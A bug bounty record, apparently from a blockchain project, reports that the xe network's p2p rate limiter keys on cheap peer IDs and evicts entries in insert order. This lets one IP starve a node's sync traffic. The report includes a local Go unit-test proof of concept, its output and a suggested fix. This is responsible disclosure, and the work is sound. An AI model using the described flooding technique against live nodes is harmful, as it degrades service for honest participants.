{"id":"XE-0025","kind":"bounty","visibility":"public","source":"github","source_repo":"xeprotocol/xe","source_ref":"47","source_url":"https://github.com/xeprotocol/xe/issues/47","reporter_id":13,"title":"net: message rate limit is keyed per libp2p peer ID, one IP can run 8 full-rate hosts (High)","area":"p2p-sync","claimed_tier":"high","assessed_tier":null,"verdict":null,"duplicate_of":null,"tracked":true,"internal_ref":"","internal_url":null,"status":"accepted","closed_reason":null,"github_state":"open","disclosed_at":null,"award_xe":null,"award_approved":false,"paid_ref":"","created_at":"2026-10-29T13:57:16.567459+00:00","updated_at":"2026-11-10T11:38:18.026140+00:00","source_created_at":"2026-10-25T11:12:12+00:00","told_at":"2026-11-10T00:15:29+00:00","status_changed_at":"2026-10-29T14:04:12.346497+00:00","url":"https://bounty.xe.network/XE-0025","body":"## Summary\nThe per-peer message rate limiter keys on the libp2p peer ID, which is a free generated ed25519 identity, not on the source IP address. The connection resource manager allows 8 concurrent connections per IPv4 address, so one host can run 8 long lived connections each with its own 50 RPS bucket, 400 attempted RPS against the 200 RPS global limiter, starving honest block, vote and certificate request streams on that node. The limiter table is also evicted insert-order, so cycling more than 2048 peer IDs resets victims' buckets.\n\n## Affected component\nnet/msg.go, limiter constants at lines 26 to 31, keying on s.Conn().RemotePeer() at lines 76 to 80; net/ratelimit.go, evictOldestLocked at lines 99 to 108 (FIFO, not LRU); net/host.go connection limits at lines 39 to 41, at commit 978785929bc17a2f4ab30c383e5fc9cf4d634512.\n\n## Impact\nOne IP address can halve or worse the effective sync throughput of a target node: request streams are reset while the attacker's connections stay under their per-peer budgets. The global limiter is not bypassed, so this is starvation on one node, not a crash.\n\nSuggested severity: High (sustained degradation a single client can cause). Confirmed by read-only source review.\n\n## PoC\n\nSetup (from a fresh clone of xeprotocol/xe at the pin): save the test file below at `net/poc_f9_test.go` (it joins the package's own test build), then:\n\n```\nGOTOOLCHAIN=auto go test -count=1 -v -run TestPoC_F9 ./net\n```\n\n**Test file** (`net/poc_f9_test.go`):\n\n```go\npackage net\n\nimport (\n\t\"fmt\"\n\t\"os\"\n\t\"testing\"\n\t\"time\"\n\n\t\"github.com/libp2p/go-libp2p/core/peer\"\n)\n\n// TestPoC_F9 drives the msg peerRateLimiter: identity is a cheap peer.ID,\n// eviction is insert-order FIFO, and 8 hosts * 50 RPS exceeds the 200 RPS\n// global cap. No libp2p network.\nfunc TestPoC_F9(t *testing.T) {\n\tpass, detail := runF9()\n\tif pass {\n\t\tfmt.Println(\"PASS: F9 msg limiter is per peer.ID with FIFO eviction; 8*50 > 200 global\")\n\t\tfmt.Println(detail)\n\t\treturn\n\t}\n\tfmt.Println(\"FAIL: F9 expected FIFO eviction of the victim bucket\")\n\tfmt.Println(detail)\n\tos.Exit(0)\n}\n\nfunc runF9() (bool, string) {\n\tl := newPeerRateLimiter(msgPerPeerRPS, msgPerPeerBurst, msgGlobalRPS, msgGlobalBurst, msgLimiterPeers)\n\tvictim := peer.ID(\"victim-peer-id-0000\")\n\n\t// Consume the victim's burst so a later allow would fail if the bucket\n\t// is NOT evicted and replaced.\n\tconsumed := 0\n\tfor i := 0; i < msgPerPeerBurst+5; i++ {\n\t\tif l.allowPeer(victim) {\n\t\t\tconsumed++\n\t\t}\n\t}\n\tdeniedWhileHeld := !l.allowPeer(victim)\n\n\tstart := time.Now()\n\tfor i := 0; i < msgLimiterPeers; i++ {\n\t\tp := peer.ID(fmt.Sprintf(\"flood-%04d\", i))\n\t\tif !l.allowPeer(p) {\n\t\t\treturn false, fmt.Sprintf(\"flood peer %d unexpectedly denied\", i)\n\t\t}\n\t}\n\telapsed := time.Since(start)\n\n\t// Victim was the oldest insert. FIFO eviction dropped that bucket;\n\t// the next allow creates a fresh limiter with a full burst.\n\trestored := 0\n\tfor i := 0; i < 50; i++ {\n\t\tif l.allowPeer(victim) {\n\t\t\trestored++\n\t\t}\n\t}\n\n\teightTimesPeer := 8 * msgPerPeerRPS\n\tdetail := fmt.Sprintf(\n\t\t\"msgPerPeerRPS=%d burst=%d globalRPS=%d globalBurst=%d limiterPeers=%d\n\"+\n\t\t\t\"8 hosts * %d RPS = %d attempted RPS vs global %d\n\"+\n\t\t\t\"victim burst consumed=%d then denied=%v\n\"+\n\t\t\t\"inserted %d later IDs in %s (FIFO evicts victim)\n\"+\n\t\t\t\"victim immediate allows after eviction=%d (fresh burst, not leftover tokens)\",\n\t\tmsgPerPeerRPS, msgPerPeerBurst, msgGlobalRPS, msgGlobalBurst, msgLimiterPeers,\n\t\tmsgPerPeerRPS, eightTimesPeer, msgGlobalRPS,\n\t\tconsumed, deniedWhileHeld,\n\t\tmsgLimiterPeers, elapsed.Round(time.Millisecond),\n\t\trestored,\n\t)\n\tok := deniedWhileHeld && restored >= 40 && eightTimesPeer > msgGlobalRPS\n\treturn ok, detail\n}\n```\n\n## Fix suggestion\nKey the limiter on remote IP (with per-peer limits layered on top) and evict by least-recently-used instead of insert order.\n\n**Run** (run 1 of 5 consecutive runs, 5/5 PASS, exit 0):\n\n```\n=== RUN   TestPoC_F9\nPASS: F9 msg limiter is per peer.ID with FIFO eviction; 8*50 > 200 global\nmsgPerPeerRPS=50 burst=200 globalRPS=200 globalBurst=400 limiterPeers=2048\n8 hosts * 50 RPS = 400 attempted RPS vs global 200\nvictim burst consumed=200 then denied=true\ninserted 2048 later IDs in 1ms (FIFO evicts victim)\nvictim immediate allows after eviction=50 (fresh burst, not leftover tokens)\n--- PASS: TestPoC_F9 (0.00s)\nPASS\nok  \tgithub.com/xeprotocol/xe/net\t0.017s\n```","patch_refs":[{"id":156,"repo":"xeprotocol/xe","kind":"pr","ref":"137","title":"fix(net): per-IP rate limiting and LRU eviction in peerRateLimiter (#47)","url":"https://github.com/xeprotocol/xe/pull/137","note":"","state":"open","author":"arturbarszcz78","added_by":"desk","created_at":"2026-10-29T13:57:30.091343+00:00"}],"thread":[{"id":1559,"source":"github","source_ref":"6755088677","author":"XE desk","team":true,"body":"Read and accepted. It is tracked internally and the fix will land in a public PR; this issue is\nupdated when it does, and the tier and award follow the fix. The desk entry is https://bounty.xe.network/XE-0025.","created_at":"2026-11-10T00:15:29+00:00"}]}